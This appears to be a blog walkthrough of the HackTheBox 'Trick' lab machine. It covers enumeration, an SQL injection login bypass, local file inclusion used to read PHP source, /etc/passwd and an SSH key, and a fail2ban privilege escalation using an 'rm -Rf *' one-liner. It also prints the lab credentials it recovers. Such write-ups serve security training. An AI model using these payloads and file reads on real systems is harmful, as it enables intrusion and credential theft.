HackTheBox - Trick

Hackthebox - Trick

Summary

HackTheBox - Trick was a easy Linux machine created by Geiseric. It starts starts with some enumeration to find a virtual host. There’s an SQL injection that allows bypassing the authentication, and reading files from the system. That file read leads to another subdomain, which has a file include. I’ll show how to use that LFI to get execution via mail poisoning, log poisoning, and just reading an SSH key. To escalate to root, I’ll abuse fail2ban.

Initial Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-15 10:37 IST
Nmap scan report for trick.htb (10.10.11.166)
Host is up (0.089s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.93 seconds

DNS Enumeration

Enumerating DNS we can get zone transfer
which expose an CNAME as preprod-payroll.trick.htb

Web

trick.htb

Visiting tick.htb we don’t find anything interesting

preprod-payroll.trick.htb

We see an login page

Trying SQLi ' OR 1=1 --

We get into the system

Checking the user page we get the credential for Administrator

Enemigosss:SuperGucciRainbowCake

Trying LFI on page parameter we see can get file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">

<title>Admin | Employee's Payroll Management System</title>


<?php
session_start();
if(!isset($_SESSION['login_id']))
header('location:login.php');
include('./header.php');
// include('./auth.php');
?>

</head>
<style>
body{
background: #80808045;
}
.modal-dialog.large {
width: 80% !important;
max-width: unset;
}
.modal-dialog.mid-large {
width: 50% !important;
max-width: unset;
}
div#confirm_modal {
z-index: 9991;
}
</style>

<body>
<?php include 'topbar.php' ?>
<?php include 'navbar.php' ?>
<div class="toast" id="alert_toast" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-body text-white">
</div>
</div>
<main id="view-panel" >
<?php $page = isset($_GET['page']) ? $_GET['page'] :'home'; ?>
<?php include $page.'.php' ?>


</main>

<div id="preloader"></div>
<a href="#" class="back-to-top"><i class="icofont-simple-up"></i></a>

<div class="modal fade" id="confirm_modal" role='dialog'>
<div class="modal-dialog modal-md" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Confirmation</h5>
</div>
<div class="modal-body">
<div id="delete_content"></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" id='confirm' onclick="">Continue</button>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="uni_modal" role='dialog'>
<div class="modal-dialog modal-md" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title"></h5>
</div>
<div class="modal-body">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" id='submit' onclick="$('#uni_modal form').submit()">Save</button>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button>
</div>
</div>
</div>
</div>
</body>
<script>
window.start_load = function(){
$('body').prepend('<di id="preloader2"></di>')
}
window.end_load = function(){
$('#preloader2').fadeOut('fast', function() {
$(this).remove();
})
}

window.uni_modal = function($title = '' , $url='',$size=""){
start_load()
$.ajax({
url:$url,
error:err=>{
console.log()
alert("An error occured")
},
success:function(resp){
if(resp){
$('#uni_modal .modal-title').html($title)
$('#uni_modal .modal-body').html(resp)
if($size != ''){
$('#uni_modal .modal-dialog').addClass($size)
}else{
$('#uni_modal .modal-dialog').removeAttr("class").addClass("modal-dialog modal-md")
}
$('#uni_modal').modal({
show:true,
backdrop:'static',
keyboard:false,
focus:true
})
end_load()
}
}
})
}
window._conf = function($msg='',$func='',$params = []){
$('#confirm_modal #confirm').attr('onclick',$func+"("+$params.join(',')+")")
$('#confirm_modal .modal-body').html($msg)
$('#confirm_modal').modal({
show:true,
backdrop:'static',
keyboard:false,
focus:true
})
}
window.alert_toast= function($msg = 'TEST',$bg = 'success'){
$('#alert_toast').removeClass('bg-success')
$('#alert_toast').removeClass('bg-danger')
$('#alert_toast').removeClass('bg-info')
$('#alert_toast').removeClass('bg-warning')

if($bg == 'success')
$('#alert_toast').addClass('bg-success')
if($bg == 'danger')
$('#alert_toast').addClass('bg-danger')
if($bg == 'info')
$('#alert_toast').addClass('bg-info')
if($bg == 'warning')
$('#alert_toast').addClass('bg-warning')
$('#alert_toast .toast-body').html($msg)
$('#alert_toast').toast({delay:3000}).toast('show');
}
$(document).ready(function(){
$('#preloader').fadeOut('fast', function() {
$(this).remove();
})
})
$('.datetimepicker').datetimepicker({
format:'Y/m/d H:i',
startDate: '+3d'
})
$('.select2').select2({
placeholder:"Please select here",
width: "100%"
})
</script>
</html>

Using the LFI and downloading all the files we find another set of Credentials in db_connect

1
2
3
4
<?php

$conn = new mysqli('localhost', 'remo', 'TrulyImpossiblePasswordLmao123', 'payroll_db') or die("Could not connect to mysql" . mysqli_error($con));

remo:TrulyImpossiblePasswordLmao123

Checking code in admin_class we
see ../index.php so there is either a typo or maybe other subdomain Running wfuzz for VHOST enumeration with preprod prefix.

We find a new subdomain

Checking the page it seem there is another possiblity of LFI

Trying some LFI payload we can get /etc/passwd

Trying to brute password with michel

we get nothing

Lets try user ssh key maybe?

and BINGO! we get the key and we can get shell

Privilege Escalataion

Checking what all is owned by that group

/etc/fail2ban/action.d

We find failtoban actions

Modifying iptables-multiport.conf

1
2
rm -Rf *;cp /tmp/iptables-multiport.conf .;
sudo /etc/init.d/fail2ban restart

And we get a shell as root

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/trick/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.